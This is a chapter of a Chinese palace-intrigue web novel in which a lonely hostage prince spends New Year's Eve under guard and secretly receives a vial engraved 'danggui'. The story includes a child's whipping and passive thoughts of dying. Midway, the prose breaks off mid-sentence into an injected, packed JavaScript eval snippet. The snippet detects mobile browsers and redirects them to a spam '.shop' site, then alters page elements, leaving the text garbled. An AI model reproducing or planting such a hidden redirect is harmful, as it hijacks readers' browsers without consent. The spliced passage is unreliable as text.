年三十夜，德泽殿。
宫苑各处的鞭炮声，噼里啪啦，热闹而疏离。廊下宫灯摇曳，却照不亮庭院深处独坐的身影。宇文戎裹着单薄深衣，坐在冰冷的石凳上，目光空茫。两名宫人如影子般立在廊柱下，更远处，是蛰伏的大内高手无形的注视。寒风刺骨，他却浑然未觉。
不就是一个人过年吗？有什么稀奇。这念头划过心间，却冷不防勾出了一段深埋的、同样寒冷的记忆——
锦州，靖王府，落叶轩。同样是除夕夜。
记忆里的寒风似乎更凛冽些，带着北境特有的、割人皮肉的干燥。那年的雪很大，积满了狭小破败的院落。十岁的宇文戎，用攒了许久的几枚铜钱，偷偷央求秦膳买了一挂最小的鞭炮。他小心翼翼地在院中空旷处点燃，捂着耳朵跑开，看那零星的火光炸开，发出短暂而微弱的噼啪声，在偌大王府此起彼伏的震耳爆竹声中，几乎轻不可闻。
鞭炮放完，空气里留下淡淡的硝烟味。他搓了搓冻红的小手，从怀里掏出一块用油纸包着的、硬邦邦的麦芽糖。这是秦膳偷偷塞给他的“年货”。他含进嘴里，甜味很淡，而且硬得硌牙，需要含很久才能慢慢软化，远比不上后来在金陵尝过的任何一样点心香甜。
他走到院里那棵光秃秃的梧桐树下，仰起小脸，望着夜空里那轮被薄云遮掩、显得格外清冷孤寒的月亮。嘴角努力向上弯了弯，开始小声地、认真地汇报：
“母妃，你看，戎儿又长高了。”
“我学会自己穿好所有的衣服了，系带子可整齐了。”
“院子我每天都自己扫，扫得很干净。”
“先生教的阵法图，我也学会了……”
“还有，我开始跟着寒师兄学剑了，戎儿已经能耍好几套剑法了……”
“我……我今年也很少生病了，真的。”
“父王他……身体康健。”他顿了顿，咽下口中化开的一点点微不足道的甜意，也咽下喉头的哽塞，声音更轻，却带着一丝极力掩饰的伤痛：前几日，他还来落叶轩……看过戎儿。” 尽管那次的“看望”，伴随着冰冷的责问和落在后背的鞭痕。此刻，那伤痕还在衣下隐隐作痛。
终于，十岁的孩子再也撑不住脸上强挤的笑容，眼泪毫无预兆地冲破了竭力维持的堤坝，大颗大颗地滚落，砸在冰冷的地面上。他抬手用力抹去，却越抹越多。压抑的、破碎的呜咽从紧咬的齿缝间溢出：
“母妃……戎儿已经很努力、很努力地在做了……为什么……为什么父王还是不肯原谅戎儿？是不是……是不是戎儿做得还不够好？母妃，你告诉戎儿，我该怎么做……”
哭声很快被呼啸的北风吞没，只剩单薄的身影在枯树下瑟瑟发抖，对着那轮永远不会回答他的冷月，掏空了心里最后一点热气。
记忆的潮水褪去，德泽殿的寒意更加真切地包裹上来。
廊下的宫人似乎交换了一个眼神。远处的气息依旧蛰伏。宇文戎缓缓抬起头，德泽殿上方的夜空，此刻云散开些，露出一弯下弦月，清辉冷冷，与记忆中的那一轮，竟如此相似。
他望着那月亮，心中默念，声音只在意识最深处回响，比十年前更加沉寂，不再有期盼，只剩下疲惫的陈述与渺茫的祈愿：
‘皇祖母，母妃……你们在那边，一定已经团聚了吧？那边……会不会暖和些？’
‘如果……如果有一天，戎儿真的熬不住了，太累了，去找你们……你们记得，一定要给我开门啊。’
‘不要……不要再不理戎儿了。’
风更紧了，卷起残雪，扑打在脸上。他没有动，仿佛已与这庭院、这寒夜、这无边的孤寂融为一体。
“这么冷的夜，也不怕着凉？” 太子的声音将他从冰冷的思绪中拉回。
宇文戎没有立刻回头。他听出是太子刘成的声音，心中并无多少意外，也未立即起身行礼——在有限的、被默许的范围内，他们之间可以不必时刻拘泥于最严格的君臣之礼，尤其是在这种看似私下的场合。
太子刘成并未带着大批仪从，只跟着一名贴身内侍，提着一盏灯笼，从通往前殿的小径走来。他几步便到了宇文戎跟前，眉头微蹙，打量着他冻得有些发青的侧脸和单薄的衣衫。
“殿下。”宇文戎这才缓缓起身，略一颔首。
“叫什么呢，又没外人。”太子语气放软了些，却仍是责怪的口吻，边说边解下自己身上那件厚实的玄色织锦镶毛斗篷，“身子才好些，就这么糟蹋。” 他动作自然地要将斗篷披到宇文戎肩上。
就在披风展开、即将落下，两人的身影在灯笼光晕和庭院阴影交错中短暂重叠、隔绝了远处宫人部分视线的一刹那，太子借着斗篷的掩护，动作极快地将一个微凉、细小的物件塞进了宇文戎虚握的、垂在身侧的手心里。触感圆润，是个小瓷瓶。
宇文戎的手指几不可察地微微一蜷，瞬间便拢住了那瓷瓶，袖口自然垂下，将其完全遮盖。整个过程流畅自然，仿佛只是太子替他整理披风时不经意的触碰。
“多谢……太子哥哥。”披风带着太子的体温落下，隔绝了部分寒风，宇文戎低声道谢，称呼悄然转变，声音里听不出太多波澜，但握住瓷瓶的指尖，却微微收紧。
太子替他系好披风的系带，仿佛只是完成一个寻常的关怀举动，随即退开半步，目光扫过廊下那两名迅速低下头去的宫人，又望了望黑沉沉的殿宇飞檐，才重新看向宇文戎，叹了口气：“你总是这样。心里有事，也不说，就这么干坐着。”
宇文戎微微摇头，脸上露出一丝极淡的、近乎虚无的弧度：“没什么事。不过是……习惯了。年节喧闹，这里反倒清静。”
太子看着他眼中那片冻湖般死寂的平静，心中刺痛，却知此地此景，绝非倾诉或安慰之处。他顺势道：“清静也不能冻着。回去吧，炭火总比外头暖和。”
宇文戎却微微侧身，做出恭送之姿，语气平稳而坚持：“殿下好意，臣心领了。披风很暖。”他顿了顿，声音压低，却清晰，“今夜是除夕，万家团聚。皇嫂和小郡主，定然还在东宫盼着殿下回去。莫要让她们久等。臣……恭送殿下。”
他再次强调了“万家团聚”，也将太子的注意力引回其自身的家庭责任上。这既是体谅，也是划清界限——他不愿，也不能成为太子在这个特殊夜晚的羁绊，尤其在东宫可能有无数双眼睛等着太子归去的情况下。
太子听懂了言下之意，也知此地不可久留。他深深看了宇文戎一眼，那一眼包含了太多复杂的情绪：担忧、无奈、歉疚，还有一丝无力改变的痛楚。
“那你……早些歇息，务必保重。”太子最终只吐出这一句，抬手似要再拍拍他的肩，却又在半途停住，只用力点了点头，转身，带着内侍，沿着来路快步离去。灯笼的光晕渐行渐远，没入宫殿交错的阴影中。
庭院重新恢复了之前的冷寂。鞭炮声似乎更遥远了些。
太子离去后，他回到殿内。怀揣着那小小的秘密，疲惫和寒意交织，他只想立刻躲入衾被之中，至少在那里，或许能获得片刻的松弛，能仔细感受这份冒着风险送达的牵挂。
然而，他刚向内室走了两步，一名一直在殿内角落垂手侍立、仿佛背景般的老太监，却悄无声息地上前半步，声音平板无波，却带着不容置疑的提醒：“公子，除夕夜，需得守岁。这是宫里的规矩，也是孝道。”
宇文戎脚步顿住，侧脸在烛火映照下更显苍白。是了，他怎么忘了。身为质子，亦需“恪守礼制”。在这德泽殿，连何时入睡，都非由己。所谓的“守岁”，不过是另一种形式的熬刑，在众目睽睽之下，展示他的“安分”与“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048635|194767||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
驯服”。
“知道了。”他声音平淡，听不出情绪，转身走向外间用来接待或日常起居的明间。那里，灯火通明，也无处遁形。
他选了一张靠墙的圈椅坐下，这个角度，既能被必要的视线看到他在“守岁”，又恰好能借着高几上烛台和自身身体的遮挡，为右手创造一小片相对隐蔽的阴影区域。两名宫人，一名在门口附近，一名在稍远的窗边，目光看似低垂，但宇文戎知道，任何不合时宜的动作，都可能引来审视。
时间在香炉袅袅的青烟中缓慢爬行。远处隐隐还有丝竹笑语传来，衬得殿内落针可闻。宇文戎保持着端正却略显疲惫的坐姿，左手虚握搭在膝上，右手则自然垂在身侧，隐在椅背和自身躯干形成的夹角里。
等待。如同潜伏的兽，需要极致的耐心。
终于，门口那名宫人似乎被窗外一阵稍大的鞭炮声吸引了瞬间的注意，目光向外偏了偏。窗边的宫人也例行公事般地转头看了看滴漏。
就是这电光石火的刹那！
宇文戎垂在身侧的右手，以最小的幅度，极其自然地仿佛只是无意识地动了动手指，实则已灵巧地探入怀中内袋，触到了那个微凉的瓷瓶。他没有取出，只是就着衣物的掩护，用指尖极其轻微地摩挲、感知。
瓶身小巧，素白无釉，是再普通不过的样式。但当他拇指无意间擦过瓶底时，触感却有一丝极其微妙的异样——并非完全光滑。他心脏猛地一跳，指尖更细致地感受。
不是瑕疵。是极浅、极细的刻痕。
他需要确认。
借着一次看似因久坐而微微调整姿势的动作，他将右手连同掌心的瓷瓶，更自然地拢入袖中深处。袖内的光线几乎全无，全凭触觉。他屏住呼吸，全部心神都集中在指尖。
指尖小心翼翼地探寻着瓶底的每一寸。终于，他辨认出来了。
那不是花纹，而是两个小字。刻得极浅，需用心才能摸出轮廓，仿佛生怕被人发现。
是“当归”。
宇文戎的指尖猛地一颤，随即死死稳住。一股难以言喻的热流，猝不及防地冲上眼眶，又被他狠狠压了回去。袖中的黑暗里，他紧紧攥住了那个小瓶，指节泛白。
当归。
一味最寻常不过的药材之名。在此刻，在此地，从窦连翘手中，经由太子冒险传递而来，却重若千钧，蕴含着只有他们三人才懂的、惊心动魄的关切与期盼。
它不是在说药材。是在问归期，是在祈平安，是在这漫漫长夜和无尽囚笼中，递来的一缕带着药香的、关于“家”与“安康”的微弱却坚韧的信念。
惊喜如同细小的电流，瞬间击穿了层层包裹的冰壳，在他死寂的心湖里激起一圈剧烈的涟漪。这惊喜并非欢欣，而是混合着巨大的酸楚、温暖的慰藉，以及一种近乎疼痛的珍视。她竟如此大胆，又如此细心！用这种方式，在皇帝、在所有监视者的眼皮底下，留下了只有他能懂的印记。
他迅速将瓷瓶藏回最贴身处，右手恢复自然垂落的姿态，仿佛从未移动过。脸上依旧是那副疲惫而平静的守岁模样，只有他自己知道，胸腔里那颗心，正因那两个字而急促地、沉重地鼓动着。
冰原依旧，长夜漫漫。但贴身处那一点微凉的瓷壁，此刻却仿佛成了一个小小的暖炉，里面藏着“当归”二字燃起的、不能为外人道的星火。
这星火不足以照亮前路，甚至无法温暖全身，却真切地告诉他：在这座吞噬一切的宫殿里，他并非无人记挂，并非全然孤独。
他微微垂下眼帘，掩去眸底一瞬间翻涌过于剧烈的情绪，继续扮演着那个沉默、驯顺、在规矩中熬着时间的质子。
守岁的长香，缓缓燃烧。夜，还很长。但怀揣着那点秘密的惊喜与暖意，似乎连这难熬的时光，也不再那么绝对冰冷和漫长了。